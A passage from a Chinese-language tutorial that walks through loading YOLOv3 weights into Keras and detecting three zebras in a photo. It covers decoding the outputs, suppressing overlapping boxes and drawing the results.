'layer_idx': 7}])\n\t# Layer  9 => 11\n\tx = _conv_block(x, [{'filter':  64, 'kernel': 1, 'stride': 1, 'bnorm': True, 'leaky': True, 'layer_idx': 9},\n\t\t\t\t\t\t{'filter': 128, 'kernel': 3, 'stride': 1, 'bnorm': True, 'leaky': True, 'layer_idx': 10}])\n\t# Layer 12 => 15\n\tx = _conv_block(x, [{'filter': 256, 'kernel': 3, 'stride': 2, 'bnorm': True, 'leaky': True, 'layer_idx': 12},\n\t\t\t\t\t\t{'filter': 128, 'kernel': 1, 'stride': 1, 'bnorm': True, 'leaky': True, 'layer_idx': 13},\n\t\t\t\t\t\t{'filter': 256, 'kernel': 3, 'stride': 1, 'bnorm': True, 'leaky': True, 'layer_idx': 14}])\n\t# Layer 16 => 36\n\tfor i in range(7):\n\t\tx = _conv_block(x, [{'filter': 128, 'kernel': 1, 'stride': 1, 'bnorm': True, 'leaky': True, 'layer_idx': 16+i*3},\n\t\t\t\t\t\t\t{'filter': 256, 'kernel': 3, 'stride': 1, 'bnorm': True, 'leaky': True, 'layer_idx': 17+i*3}])\n\tskip_36 = x\n\t# Layer 37 => 40\n\tx = _conv_block(x, [{'filter': 512, 'kernel': 3, 'stride': 2, 'bnorm': True, 'leaky': True, 'layer_idx': 37},\n\t\t\t\t\t\t{'filter': 256, 'kernel': 1, 'stride': 1, 'bnorm': True, 'leaky': True, 'layer_idx': 38},\n\t\t\t\t\t\t{'filter': 512, 'kernel': 3, 'stride': 1, 'bnorm': True, 'leaky': True, 'layer_idx': 39}])\n\t# Layer 41 => 61\n\tfor i in range(7):\n\t\tx = _conv_block(x, [{'filter': 256, 'kernel': 1, 'stride': 1, 'bnorm': True, 'leaky': True, 'layer_idx': 41+i*3},\n\t\t\t\t\t\t\t{'filter': 512, 'kernel': 3, 'stride': 1, 'bnorm': True, 'leaky': True, 'layer_idx': 42+i*3}])\n\tskip_61 = x\n\t# Layer 62 => 65\n\tx = _conv_block(x, [{'filter': 1024, 'kernel': 3, 'stride': 2, 'bnorm': True, 'leaky': True, 'layer_idx': 62},\n\t\t\t\t\t\t{'filter':  512, 'kernel': 1, 'stride': 1, 'bnorm': True, 'leaky': True, 'layer_idx': 63},\n\t\t\t\t\t\t{'filter': 1024, 'kernel': 3, 'stride': 1, 'bnorm': True, 'leaky': True, 'layer_idx': 64}])\n\t# Layer 66 => 74\n\tfor i in range(3):\n\t\tx = _conv_block(x, [{'filter':  512, 'kernel': 1, 'stride': 1, 'bnorm': True, 'leaky': True, 'layer_idx': 66+i*3},\n\t\t\t\t\t\t\t{'filter': 1024, 'kernel': 3, 'stride': 1, 'bnorm': True, 'leaky': True, 'layer_idx': 67+i*3}])\n\t# Layer 75 => 79\n\tx = _conv_block(x, [{'filter':  512, 'kernel': 1, 'stride': 1, 'bnorm': True, 'leaky': True, 'layer_idx': 75},\n\t\t\t\t\t\t{'filter': 1024, 'kernel': 3, 'stride': 1, 'bnorm': True, 'leaky': True, 'layer_idx': 76},\n\t\t\t\t\t\t{'filter':  512, 'kernel': 1, 'stride': 1, 'bnorm': True, 'leaky': True, 'layer_idx': 77},\n\t\t\t\t\t\t{'filter': 1024, 'kernel': 3, 'stride': 1, 'bnorm': True, 'leaky': True, 'layer_idx': 78},\n\t\t\t\t\t\t{'filter':  512, 'kernel': 1, 'stride': 1, 'bnorm': True, 'leaky': True, 'layer_idx': 79}], skip=False)\n\t# Layer 80 => 82\n\tyolo_82 = _conv_block(x, [{'filter': 1024, 'kernel': 3, 'stride': 1, 'bnorm': True,  'leaky': True,  'layer_idx': 80},\n\t\t\t\t\t\t\t  {'filter':  255, 'kernel': 1, 'stride': 1, 'bnorm': False, 'leaky': False, 'layer_idx': 81}], skip=False)\n\t# Layer 83 => 86\n\tx = _conv_block(x, [{'filter': 256, 'kernel': 1, 'stride': 1, 'bnorm': True, 'leaky': True, 'layer_idx': 84}], skip=False)\n\tx = UpSampling2D(2)(x)\n\tx = concatenate([x, skip_61])\n\t# Layer 87 => 91\n\tx = _conv_block(x, [{'filter': 256, 'kernel': 1, 'stride': 1, 'bnorm': True, 'leaky': True, 'layer_idx': 87},\n\t\t\t\t\t\t{'filter': 512, 'kernel': 3, 'stride': 1, 'bnorm': True, 'leaky': True, 'layer_idx': 88},\n\t\t\t\t\t\t{'filter': 256, 'kernel': 1, 'stride': 1, 'bnorm': True, 'leaky': True, 'layer_idx': 89},\n\t\t\t\t\t\t{'filter': 512, 'kernel': 3, 'stride': 1, 'bnorm': True, 'leaky': True, 'layer_idx': 90},\n\t\t\t\t\t\t{'filter': 256, 'kernel': 1, 'stride': 1, 'bnorm': True, 'leaky': True, 'layer_idx': 91}], skip=False)\n\t# Layer 92 => 94\n\tyolo_94 = _conv_block(x, [{'filter': 512, 'kernel': 3, 'stride': 1, 'bnorm': True,  'leaky': True,  'layer_idx': 92},\n\t\t\t\t\t\t\t  {'filter': 255, 'kernel': 1, 'stride': 1, 'bnorm': False, 'leaky': False, 'layer_idx': 93}], skip=False)\n\t# Layer 95 => 98\n\tx = _conv_block(x, [{'filter': 128, 'kernel': 1, 'stride': 1, 'bnorm': True, 'leaky': True,   'layer_idx': 96}], skip=False)\n\tx = UpSampling2D(2)(x)\n\tx = concatenate([x, skip_36])\n\t# Layer 99 => 106\n\tyolo_106 = _conv_block(x, [{'filter': 128, 'kernel': 1, 'stride': 1, 'bnorm': True,  'leaky': True,  'layer_idx': 99},\n\t\t\t\t\t\t\t   {'filter': 256, 'kernel': 3, 'stride': 1, 'bnorm': True,  'leaky': True,  'layer_idx': 100},\n\t\t\t\t\t\t\t   {'filter': 128, 'kernel': 1, 'stride': 1, 'bnorm': True,  'leaky': True,  'layer_idx': 101},\n\t\t\t\t\t\t\t   {'filter': 256, 'kernel': 3, 'stride': 1, 'bnorm': True,  'leaky': True,  'layer_idx': 102},\n\t\t\t\t\t\t\t   {'filter': 128, 'kernel': 1, 'stride': 1, 'bnorm': True,  'leaky': True,  'layer_idx': 103},\n\t\t\t\t\t\t\t   {'filter': 256, 'kernel': 3, 'stride': 1, 'bnorm': True,  'leaky': True,  'layer_idx': 104},\n\t\t\t\t\t\t\t   {'filter': 255, 'kernel': 1, 'stride': 1, 'bnorm': False, 'leaky': False, 'layer_idx': 105}], skip=False)\n\tmodel = Model(input_image, [yolo_82, yolo_94, yolo_106])\n\treturn model\n\nclass WeightReader:\n\tdef __init__(self, weight_file):\n\t\twith open(weight_file, 'rb') as w_f:\n\t\t\tmajor,\t= struct.unpack('i', w_f.read(4))\n\t\t\tminor,\t= struct.unpack('i', w_f.read(4))\n\t\t\trevision, = struct.unpack('i', w_f.read(4))\n\t\t\tif (major*10 + minor) >= 2 and major < 1000 and minor < 1000:\n\t\t\t\tw_f.read(8)\n\t\t\telse:\n\t\t\t\tw_f.read(4)\n\t\t\ttranspose = (major > 1000) or (minor > 1000)\n\t\t\tbinary = w_f.read()\n\t\tself.offset = 0\n\t\tself.all_weights = np.frombuffer(binary, dtype='float32')\n\n\tdef read_bytes(self, size):\n\t\tself.offset = self.offset + size\n\t\treturn self.all_weights[self.offset-size:self.offset]\n\n\tdef load_weights(self, model):\n\t\tfor i in range(106):\n\t\t\ttry:\n\t\t\t\tconv_layer = model.get_layer('conv_' + str(i))\n\t\t\t\tprint(\"loading weights of convolution #\" + str(i))\n\t\t\t\tif i not in [81, 93, 105]:\n\t\t\t\t\tnorm_layer = model.get_layer('bnorm_' + str(i))\n\t\t\t\t\tsize = np.prod(norm_layer.get_weights()[0].shape)\n\t\t\t\t\tbeta  = self.read_bytes(size) # bias\n\t\t\t\t\tgamma = self.read_bytes(size) # scale\n\t\t\t\t\tmean  = self.read_bytes(size) # mean\n\t\t\t\t\tvar   = self.read_bytes(size) # variance\n\t\t\t\t\tweights = norm_layer.set_weights([gamma, beta, mean, var])\n\t\t\t\tif len(conv_layer.get_weights()) > 1:\n\t\t\t\t\tbias   = self.read_bytes(np.prod(conv_layer.get_weights()[1].shape))\n\t\t\t\t\tkernel = self.read_bytes(np.prod(conv_layer.get_weights()[0].shape))\n\t\t\t\t\tkernel = kernel.reshape(list(reversed(conv_layer.get_weights()[0].shape)))\n\t\t\t\t\tkernel = kernel.transpose([2,3,1,0])\n\t\t\t\t\tconv_layer.set_weights([kernel, bias])\n\t\t\t\telse:\n\t\t\t\t\tkernel = self.read_bytes(np.prod(conv_layer.get_weights()[0].shape))\n\t\t\t\t\tkernel = kernel.reshape(list(reversed(conv_layer.get_weights()[0].shape)))\n\t\t\t\t\tkernel = kernel.transpose([2,3,1,0])\n\t\t\t\t\tconv_layer.set_weights([kernel])\n\t\t\texcept ValueError:\n\t\t\t\tprint(\"no convolution #\" + str(i))\n\n\tdef reset(self):\n\t\tself.offset = 0\n\n# define the model\nmodel = make_yolov3_model()\n# load the model weights\nweight_reader = WeightReader('yolov3.weights')\n# set the model weights into the model\nweight_reader.load_weights(model)\n# save the model to file\nmodel.save('model.h5')\n```\n在现代的硬件设备中运行此示例代码，可能只需要不到一分钟的时间。\n\n当权重文件加载后，你可以看到由 **WeightReader** 类输出的调试信息报告。\n\n```\n...\nloading weights of convolution #99\nloading weights of convolution #100\nloading weights of convolution #101\nloading weights of convolution #102\nloading weights of convolution #103\nloading weights of convolution #104\nloading weights of convolution #105\n```\n\n运行结束时，当前工作路径下保存了 **model.h5** 文件，大小接近原始权重文件（237MB），但是可以像 Keras 模型一样可以加载该文件并直接使用。\n\n### 做预测\n\n我们需要一张用于对象检测的新照片，理想情况下图片中的对象是我们知道的模型从 [MSCOCO数据集](http://cocodataset.org/) 可识别的对象。\n\n这里使用一张三匹斑马的图片，是 [Boegh](https://www.flickr.com/photos/boegh/5676993427/) 在旅行时拍摄的，且带有发布许可。\n\n![Photograph of Three Zebras](https://3qeqpr26caki16dnhd19sv6by6v-wpengine.netdna-ssl.com/wp-content/uploads/2019/03/zebra.jpg)\n\n三匹斑马图片  \nBoegh 摄，部分权利保留。\n\n*   [三匹斑马图片（zebra.jpg）](https://3qeqpr26caki16dnhd19sv6by6v-wpengine.netdna-ssl.com/wp-content/uploads/2019/03/zebra.jpg)\n\n下载这张图片，放在当前工作路径，命名为 **zebra.jpg** 。\n\n尽管解释预测结果需要一些工作，但做出预测是直截了当的。\n\n第一步是 [加载 Keras 模型](https://machinelearningmastery.com/save-load-keras-deep-learning-models/)，这可能是做预测过程中最慢的一步了。\n\n```\n# load yolov3 model\nmodel  =  load_model('model.h5')\n```\n\n接下来要加载新的图像，并将其整理成适合作为模型输入的形式。模型想要的输入形式是 416×416 正方形的彩色图片。\n\n使用 **load_img() Keras** 函数加载图像，target_size 参数的作用是加载图片后调整图像的大小。也可以用 **img\\_to\\_array()** 函数将加载的 PIL 图像对象转换成 Numpy 数组，然后重新调整像素值，使其从 0-255 调整到 0-1 的 32 位浮点值。\n\n```\n# load the image with the required size\nimage = load_img('zebra.jpg', target_size=(416, 416))\n# convert to numpy array\nimage = img_to_array(image)\n# scale pixel values to [0, 1]\nimage = image.astype('float32')\nimage /= 255.0\n```\n\n我们希望稍后再次显示原始照片，这意味着我们需要将所有检测到的对象的边界框从方形形状缩放回原始形状。 这样，我们就可以加载图片并恢复原始形状了。\n\n```\nload the image to get its shape\nimage  =  load_img('zebra.jpg')\nwidth,  height  =  image.size\n```\n\n以上步骤可以都连在一起，写成 **load\\_image\\_pixels()** 函数，方便使用。该函数的输入是文件名、目标尺寸，返回的是缩放过的像素数据，这些数据可作为 Keras 模型的输入，还返回原始图像的宽度和高度。\n\n```\n# load and prepare an image\ndef load_image_pixels(filename, shape):\n    # load the image to get its shape\n    image = load_img(filename)\n    width, height = image.size\n    # load the image with the required size\n    image = load_img(filename, target_size=shape)\n    # convert to numpy array\n    image = img_to_array(image)\n    # scale pixel values to [0, 1]\n    image = image.astype('float32')\n    image /= 255.0\n    # add a dimension so that we have one sample\n    image = expand_dims(image, 0)\n    return image, width, height\n```\n\n然后调用该函数，加载斑马图。\n\n```\n# define the expected input shape for the model\ninput_w, input_h = 416, 416\n# define our new photo\nphoto_filename = 'zebra.jpg'\n# load and prepare image\nimage, image_w, image_h = load_image_pixels(photo_filename, (input_w, input_h))\n```\n\n将该图片给 Keras 模型做输入，进行预测。\n\n```\n# make prediction\nyhat = model.predict(image)\n# summarize the shape of the list of arrays\nprint([a.shape for a in yhat])\n```\n\n以上就是做预测本身的过程。完整示例如下。\n\n```\n# load yolov3 model and perform object detection\n# based on https://github.com/experiencor/keras-yolo3\nfrom numpy import expand_dims\nfrom keras.models import load_model\nfrom keras.preprocessing.image import load_img\nfrom keras.preprocessing.image import img_to_array\n\n# load and prepare an image\ndef load_image_pixels(filename, shape):\n    # load the image to get its shape\n    image = load_img(filename)\n    width, height = image.size\n    # load the image with the required size\n    image = load_img(filename, target_size=shape)\n    # convert to numpy array\n    image = img_to_array(image)\n    # scale pixel values to [0, 1]\n    image = image.astype('float32')\n    image /= 255.0\n    # add a dimension so that we have one sample\n    image = expand_dims(image, 0)\n    return image, width, height\n\n# load yolov3 model\nmodel = load_model('model.h5')\n# define the expected input shape for the model\ninput_w, input_h = 416, 416\n# define our new photo\nphoto_filename = 'zebra.jpg'\n# load and prepare image\nimage, image_w, image_h = load_image_pixels(photo_filename, (input_w, input_h))\n# make prediction\nyhat = model.predict(image)\n# summarize the shape of the list of arrays\nprint([a.shape for a in yhat])\n```\n\n示例代码返回有三个 Numpy 数组的列表，其形状作为输出展现出来。\n\n这些数据既预测了边框，又预测了标签的种类，但是是编码过的。这些结果需要解释一下才行。\n\n```\n[(1, 13, 13, 255), (1, 26, 26, 255), (1, 52, 52, 255)]\n```\n\n### 做出预测与解释结果\n\n实际上模型的输出是编码过的候选边框，这些候选边框来源于三种不同大小的网格，框本身是由锚框的情境定义的，由基于在 MSCOCO 数据集中对对象尺寸的分析，仔细选择得来的。\n\n由 experincor 提供的脚本中有一个 **decode_netout()** 函数，可以一次一个取每个 Numpy 数组，将候选边框和预测的分类解码。此外，所有不能有足够把握（比如概率低于某个阈值）描述对象的边框都将被忽略掉。此处使用 60% 或 0.6 的概率阈值。该函数返回 **BoundBox** 的实例列表，这个实例定义了每个边界框的角。这些边界框代表了输入图像的形状和类别概率。\n\n```\n# define the anchors\nanchors = [[116,90, 156,198, 373,326], [30,61, 62,45, 59,119], [10,13, 16,30, 33,23]]\n# define the probability threshold for detected objects\nclass_threshold = 0.6\nboxes = list()\nfor i in range(len(yhat)):\n\t# decode the output of the network\n\tboxes += decode_netout(yhat[i][0], anchors[i], class_threshold, input_h, input_w)\n```\n\n接下来要将边框拉伸至原来图像的形状。这一步很有用，因为这意味着稍后我们可以绘制原始图像并绘制边界框，希望能够检测到真实对象。\n\n由 Experiencor 提供的脚本中有 **correct\\_yolo\\_boxes()** 函数，可以转换边框坐标，把边界框列表、一开始加载的图片的原始形状以及网络中输入的形状作为参数。边界框的坐标直接更新：\n\n```\n# correct the sizes of the bounding boxes for the shape of the image\ncorrect _yolo_boxes(boxes,  image_h,  image_w,  input_h,  input_w)\n```\n\n模型预测了许多边框，大多数框是同一对象。可筛选边框列表，将那些重叠的、指向统一对象的框都合并。可将重叠数量定义为配置参数，此处是50%或0.5 。这一筛选步骤的条件并不是最严格的，而且需要更多后处理步骤。\n\n该脚本通过 **do_nms()**  实现这一点，该函数的参数是边框列表和阈值。该函数整理的不是重叠的边框，而是重叠类的预测概率。这样如果检测到另外的对象类型，边框仍还可用。\n\n```\n# suppress non-maximal boxes\ndo_nms(boxes,  0.5)\n```\n\n这样留下的边框数量就一样了，但只有少数有用。 我们只能检索那些强烈预测对象存在的边框：超过 60% 的置信率。 这可以通过遍历所有框并检查类预测值来实现。 然后，我们可以查找该框的相应类标签并将其添加到列表中。 每个边框需要跟每个类标签一一核对，以防同一个框强烈预测多个对象。\n\n创建一个 **get_boxes()** 函数实现这一步，将边框列表、已知标签、分类阈值作为参数，将对应的边框列表、标签、和评分当做返回值。\n\n```\n# get all of the results above a threshold\ndef get_boxes(boxes, labels, thresh):\n\tv_boxes, v_labels, v_scores = list(), list(), list()\n\t# enumerate all boxes\n\tfor box in boxes:\n\t\t# enumerate all possible labels\n\t\tfor i in range(len(labels)):\n\t\t\t# check if the threshold for this label is high enough\n\t\t\tif box.classes[i] > thresh:\n\t\t\t\tv_boxes.append(box)\n\t\t\t\tv_labels.append(labels[i])\n\t\t\t\tv_scores.append(box.classes[i]*100)\n\t\t\t\t# don't break, many labels may trigger for one box\n\treturn v_boxes, v_labels, v_scores\n```\n\n用边框列表当做参数调用该函数。\n\n我们还需要一个字符串列表，其中包含模型中已知的类标签，顺序要和训练模型时候的顺序保持一致，特别是 MSCOCO 数据集中的类标签。 值得庆幸的是，这些在 Experiencor 的脚本中也提供。\n\n```\n# define the labels\nlabels = [\"person\", \"bicycle\", \"car\", \"motorbike\", \"aeroplane\", \"bus\", \"train\", \"truck\",\n    \"boat\", \"traffic light\", \"fire hydrant\", \"stop sign\", \"parking meter\", \"bench\",\n    \"bird\", \"cat\", \"dog\", \"horse\", \"sheep\", \"cow\", \"elephant\", \"bear\", \"zebra\", \"giraffe\",\n    \"backpack\", \"umbrella\", \"handbag\", \"tie\", \"suitcase\", \"frisbee\", \"skis\", \"snowboard\",\n    \"sports ball\", \"kite\", \"baseball bat\", \"baseball glove\", \"skateboard\", \"surfboard\",\n    \"tennis racket\", \"bottle\", \"wine glass\", \"cup\", \"fork\", \"knife\", \"spoon\", \"bowl\", \"banana\",\n    \"apple\", \"sandwich\", \"orange\", \"broccoli\", \"carrot\", \"hot dog\", \"pizza\", \"donut\", \"cake\",\n    \"chair\", \"sofa\", \"pottedplant\", \"bed\", \"diningtable\", \"toilet\", \"tvmonitor\", \"laptop\", \"mouse\",\n    \"remote\", \"keyboard\", \"cell phone\", \"microwave\", \"oven\", \"toaster\", \"sink\", \"refrigerator\",\n    \"book\", \"clock\", \"vase\", \"scissors\", \"teddy bear\", \"hair drier\", \"toothbrush\"]\n# get the details of the detected objects\nv_boxes, v_labels, v_scores = get_boxes(boxes, labels, class_threshold)\n```\n\n现在有了预测对象较强的少数边框，可以对它们做个总结。\n\n```\n# summarize what we found\nfor i in range(len(v_boxes)):\n    print(v_labels[i], v_scores[i])\n```\n\n我们还可以绘制原始照片并在每个检测到的物体周围绘制边界框。 这可以通过从每个边界框检索坐标并创建 Rectangle 对象来实现。\n\n```\nbox = v_boxes[i]\n# get coordinates\ny1, x1, y2, x2 = box.ymin, box.xmin, box.ymax, box.xmax\n# calculate width and height of the box\nwidth, height = x2 - x1, y2 - y1\n# create the shape\nrect = Rectangle((x1, y1), width, height, fill=False, color='white')\n# draw the box\nax.add_patch(rect)\n```\n\n也可以用类标签和置信度以字符串形式绘制出来。\n\n```\n# draw text and score in top left corner\nlabel = \"%s (%.3f)\" % (v_labels[i], v_scores[i])\npyplot.text(x1, y1, label, color='white')\n```\n\n下面的 **draw_boxes()** 函数实现了这一点，获取原始照片的文件名、对应边框列表、标签、评分，绘制出检测到的所有对象。\n\n```\n# draw all results\ndef draw_boxes(filename, v_boxes, v_labels, v_scores):\n\t# load the image\n\tdata = pyplot.imread(filename)\n\t# plot the image\n\tpyplot.imshow(data)\n\t# get the context for drawing boxes\n\tax = pyplot.gca()\n\t# plot each box\n\tfor i in range(len(v_boxes)):\n\t\tbox = v_boxes[i]\n\t\t# get coordinates\n\t\ty1, x1, y2, x2 = box.ymin, box.xmin, box.ymax, box.xmax\n\t\t# calculate width and height of the box\n\t\twidth, height = x2 - x1, y2 - y1\n\t\t# create the shape\n\t\trect = Rectangle((x1, y1), width, height, fill=False, color='white')\n\t\t# draw the box\n\t\tax.add_patch(rect)\n\t\t# draw text and score in top left corner\n\t\tlabel = \"%s (%.3f)\" % (v_labels[i], v_scores[i])\n\t\tpyplot.text(x1, y1, label, color='white')\n\t# show the plot\n\tpyplot.show()\n```\n\n然后调用该函数，绘制最终结果。\n\n```\n# draw what we found\ndraw_boxes(photo_filename, v_boxes, v_labels, v_scores)\n```\n\n使用 YOLOv3 模型做预测所要的所有元素，现在都有了。解释结果，并绘制出来以供审查。\n\n下面列出了完整代码清单，包括原始和修改过的 xperiencor 脚本。\n\n```\n# load yolov3 model and perform object detection\n# based on https://github.com/experiencor/keras-yolo3\nimport numpy as np\nfrom numpy import expand_dims\nfrom keras.models import load_model\nfrom keras.preprocessing.image import load_img\nfrom keras.preprocessing.image import img_to_array\nfrom matplotlib import pyplot\nfrom matplotlib.patches import Rectangle\n\nclass BoundBox:\n\tdef __init__(self, xmin, ymin, xmax, ymax, objness = None, classes = None):\n\t\tself.xmin = xmin\n\t\tself.ymin = ymin\n\t\tself.xmax = xmax\n\t\tself.ymax = ymax\n\t\tself.objness = objness\n\t\tself.classes = classes\n\t\tself.label = -1\n\t\tself.score = -1\n\n\tdef get_label(self):\n\t\tif self.label == -1:\n\t\t\tself.label = np.argmax(self.classes)\n\n\t\treturn self.label\n\n\tdef get_score(self):\n\t\tif self.score == -1:\n\t\t\tself.score = self.classes[self.get_label()]\n\n\t\treturn self.score\n\ndef _sigmoid(x):\n\treturn 1. / (1. + np.exp(-x))\n\ndef decode_netout(netout, anchors, obj_thresh, net_h, net_w):\n\tgrid_h, grid_w = netout.shape[:2]\n\tnb_box = 3\n\tnetout = netout.reshape((grid_h, grid_w, nb_box, -1))\n\tnb_class = netout.shape[-1] - 5\n\tboxes = []\n\tnetout[..., :2]  = _sigmoid(netout[..., :2])\n\tnetout[..., 4:]  = _sigmoid(netout[..., 4:])\n\tnetout[..., 5:]  = netout[..., 4][..., np.newaxis] * netout[..., 5:]\n\tnetout[..., 5:] *= netout[..., 5:] > obj_thresh\n\n\tfor i in range(grid_h*grid_w):\n\t\trow = i / grid_w\n\t\tcol = i % grid_w\n\t\tfor b in range(nb_box):\n\t\t\t# 4th element is objectness score\n\t\t\tobjectness = netout[int(row)][int(col)][b][4]\n\t\t\tif(objectness.all() <= obj_thresh): continue\n\t\t\t# first 4 elements are x, y, w, and h\n\t\t\tx, y, w, h = netout[int(row)][int(col)][b][:4]\n\t\t\tx = (col + x) / grid_w # center position, unit: image width\n\t\t\ty = (row + y) / grid_h # center position, unit: image height\n\t\t\tw = anchors[2 * b + 0] * np.exp(w) / net_w # unit: image width\n\t\t\th = anchors[2 * b + 1] * np.exp(h) / net_h # unit: image height\n\t\t\t# last elements are class probabilities\n\t\t\tclasses = netout[int(row)][col][b][5:]\n\t\t\tbox = BoundBox(x-w/2, y-h/2, x+w/2, y+h/2, objectness, classes)\n\t\t\tboxes.append(box)\n\treturn boxes\n\ndef correct_yolo_boxes(boxes, image_h, image_w, net_h, net_w):\n\tnew_w, new_h = net_w, net_h\n\tfor i in range(len(boxes)):\n\t\tx_offset, x_scale = (net_w - new_w)/2./net_w, float(new_w)/net_w\n\t\ty_offset, y_scale = (net_h - new_h)/2./net_h, float(new_h)/net_h\n\t\tboxes[i].xmin = int((boxes[i].xmin - x_offset) / x_scale * image_w)\n\t\tboxes[i].xmax = int((boxes[i].xmax - x_offset) / x_scale * image_w)\n\t\tboxes[i].ymin = int((boxes[i].ymin - y_offset) / y_scale * image_h)\n\t\tboxes[i].ymax = int((boxes[i].ymax - y_offset) / y_scale * image_h)\n\ndef _interval_overlap(interval_a, interval_b):\n\tx1, x2 = interval_a\n\tx3, x4 = interval_b\n\tif x3 < x1:\n\t\tif x4 < x1:\n\t\t\treturn 0\n\t\telse:\n\t\t\treturn min(x2,x4) - x1\n\telse:\n\t\tif x2 < x3:\n\t\t\t return 0\n\t\telse:\n\t\t\treturn min(x2,x4) - x3\n\ndef bbox_iou(box1, box2):\n\tintersect_w = _interval_overlap([box1.xmin, box1.xmax], [box2.xmin, box2.xmax])\n\tintersect_h = _interval_overlap([box1.ymin, box1.ymax], [box2.ymin, box2.ymax])\n\tintersect = intersect_w * intersect_h\n\tw1, h1 = box1.xmax-box1.xmin, box1.ymax-box1.ymin\n\tw2, h2 = box2.xmax-box2.xmin, box2.ymax-box2.ymin\n\tunion = w1*h1 + w2*h2 - intersect\n\treturn float(intersect) / union\n\ndef do_nms(boxes, nms_thresh):\n\tif len(boxes) > 0:\n\t\tnb_class = len(boxes[0].classes)\n\telse:\n\t\treturn\n\tfor c in range(nb_class):\n\t\tsorted_indices = np.argsort([-box.classes[c] for box in boxes])\n\t\tfor i in range(len(sorted_indices)):\n\t\t\tindex_i = sorted_indices[i]\n\t\t\tif boxes[index_i].classes[c] == 0: continue\n\t\t\tfor j in range(i+1, len(sorted_indices)):\n\t\t\t\tindex_j = sorted_indices[j]\n\t\t\t\tif bbox_iou(boxes[index_i], boxes[index_j]) >= nms_thresh:\n\t\t\t\t\tboxes[index_j].classes[c] = 0\n\n# load and prepare an image\ndef load_image_pixels(filename, shape):\n\t# load the image to get its shape\n\timage = load_img(filename)\n\twidth, height = image.size\n\t# load the image with the required size\n\timage = load_img(filename, target_size=shape)\n\t# convert to numpy array\n\timage = img_to_array(image)\n\t# scale pixel values to [0, 1]\n\timage = image.astype('float32')\n\timage /= 255.0\n\t# add a dimension so that we have one sample\n\timage = expand_dims(image, 0)\n\treturn image, width, height\n\n# get all of the results above a threshold\ndef get_boxes(boxes, labels, thresh):\n\tv_boxes, v_labels, v_scores = list(), list(), list()\n\t# enumerate all boxes\n\tfor box in boxes:\n\t\t# enumerate all possible labels\n\t\tfor i in range(len(labels)):\n\t\t\t# check if the threshold for this label is high enough\n\t\t\tif box.classes[i] > thresh:\n\t\t\t\tv_boxes.append(box)\n\t\t\t\tv_labels.append(labels[i])\n\t\t\t\tv_scores.append(box.classes[i]*100)\n\t\t\t\t# don't break, many labels may trigger for one box\n\treturn v_boxes, v_labels, v_scores\n\n# draw all results\ndef draw_boxes(filename, v_boxes, v_labels, v_scores):\n\t# load the image\n\tdata = pyplot.imread(filename)\n\t# plot the image\n\tpyplot.imshow(data)\n\t# get the context for drawing boxes\n\tax = pyplot.gca()\n\t# plot each box\n\tfor i in range(len(v_boxes)):\n\t\tbox = v_boxes[i]\n\t\t# get coordinates\n\t\ty1, x1, y2, x2 = box.ymin, box.xmin, box.ymax, box.xmax\n\t\t# calculate width and height of the box\n\t\twidth, height = x2 - x1, y2 - y1\n\t\t# create the shape\n\t\trect = Rectangle((x1, y1), width, height, fill=False, color='white')\n\t\t# draw the box\n\t\tax.add_patch(rect)\n\t\t# draw text and score in top left corner\n\t\tlabel = \"%s (%.3f)\" % (v_labels[i], v_scores[i])\n\t\tpyplot.text(x1, y1, label, color='white')\n\t# show the plot\n\tpyplot.show()\n\n# load yolov3 model\nmodel = load_model('model.h5')\n# define the expected input shape for the model\ninput_w, input_h = 416, 416\n# define our new photo\nphoto_filename = 'zebra.jpg'\n# load and prepare image\nimage, image_w, image_h = load_image_pixels(photo_filename, (input_w, input_h))\n# make prediction\nyhat = model.predict(image)\n# summarize the shape of the list of arrays\nprint([a.shape for a in yhat])\n# define the anchors\nanchors = [[116,90, 156,198, 373,326], [30,61, 62,45, 59,119], [10,13, 16,30, 33,23]]\n# define the probability threshold for detected objects\nclass_threshold = 0.6\nboxes = list()\nfor i in range(len(yhat)):\n\t# decode the output of the network\n\tboxes += decode_netout(yhat[i][0], anchors[i], class_threshold, input_h, input_w)\n# correct the sizes of the bounding boxes for the shape of the image\ncorrect_yolo_boxes(boxes, image_h, image_w, input_h, input_w)\n# suppress non-maximal boxes\ndo_nms(boxes, 0.5)\n# define the labels\nlabels = [\"person\", \"bicycle\", \"car\", \"motorbike\", \"aeroplane\", \"bus\", \"train\", \"truck\",\n\t\"boat\", \"traffic light\", \"fire hydrant\", \"stop sign\", \"parking meter\", \"bench\",\n\t\"bird\", \"cat\", \"dog\", \"horse\", \"sheep\", \"cow\", \"elephant\", \"bear\", \"zebra\", \"giraffe\",\n\t\"backpack\", \"umbrella\", \"handbag\", \"tie\", \"suitcase\", \"frisbee\", \"skis\", \"snowboard\",\n\t\"sports ball\", \"kite\", \"baseball bat\", \"baseball glove\", \"skateboard\", \"surfboard\",\n\t\"tennis racket\", \"bottle\", \"wine glass\", \"cup\", \"fork\", \"knife\", \"spoon\", \"bowl\", \"banana\",\n\t\"apple\", \"sandwich\", \"orange\", \"broccoli\", \"carrot\", \"hot dog\", \"pizza\", \"donut\", \"cake\",\n\t\"chair\", \"sofa\", \"pottedplant\", \"bed\", \"diningtable\", \"toilet\", \"tvmonitor\", \"laptop\", \"mouse\",\n\t\"remote\", \"keyboard\", \"cell phone\", \"microwave\", \"oven\", \"toaster\", \"sink\", \"refrigerator\",\n\t\"book\", \"clock\", \"vase\", \"scissors\", \"teddy bear\", \"hair drier\", \"toothbrush\"]\n# get the details of the detected objects\nv_boxes, v_labels, v_scores = get_boxes(boxes, labels, class_threshold)\n# summarize what we found\nfor i in range(len(v_boxes)):\n\tprint(v_labels[i], v_scores[i])\n# draw what we found\ndraw_boxes(photo_filename, v_boxes, v_labels, v_scores)\n```\n\n再次运行示例，打印出模型的原始输出。\n\n接下来就是模型检测到的对象摘要和对应置信度。可以看出，模型检测到三匹斑马，而且相似度高于 90%。\n\n```\n[(1, 13, 13, 255), (1, 26, 26, 255), (1, 52, 52, 255)]\nzebra 94.91060376167297\nzebra 99.86329674720764\nzebra 96.8708872795105\n```\n\n绘制出的图片有三个边框，可以看出模型确实成功检测出了图片中的三匹斑马。\n\n![Photograph of Three Zebra Each Detected with the YOLOv3 Model and Localized with Bounding Boxes](https://3qeqpr26caki16dnhd19sv6by6v-wpengine.netdna-ssl.com/wp-content/uploads/2019/03/Photograph-of-Three-Zebra-Each-Detected-with-the-YOLOv3-Model-and-Localized-with-Bounding-Boxes-1024x768.png)\n\n用 YOLOv3 模型检测、边框定位的斑马图片\n\n## 拓展阅读\n\n如果想深入了解该主题，本节提供更多有关资源。\n\n### 论文\n\n*   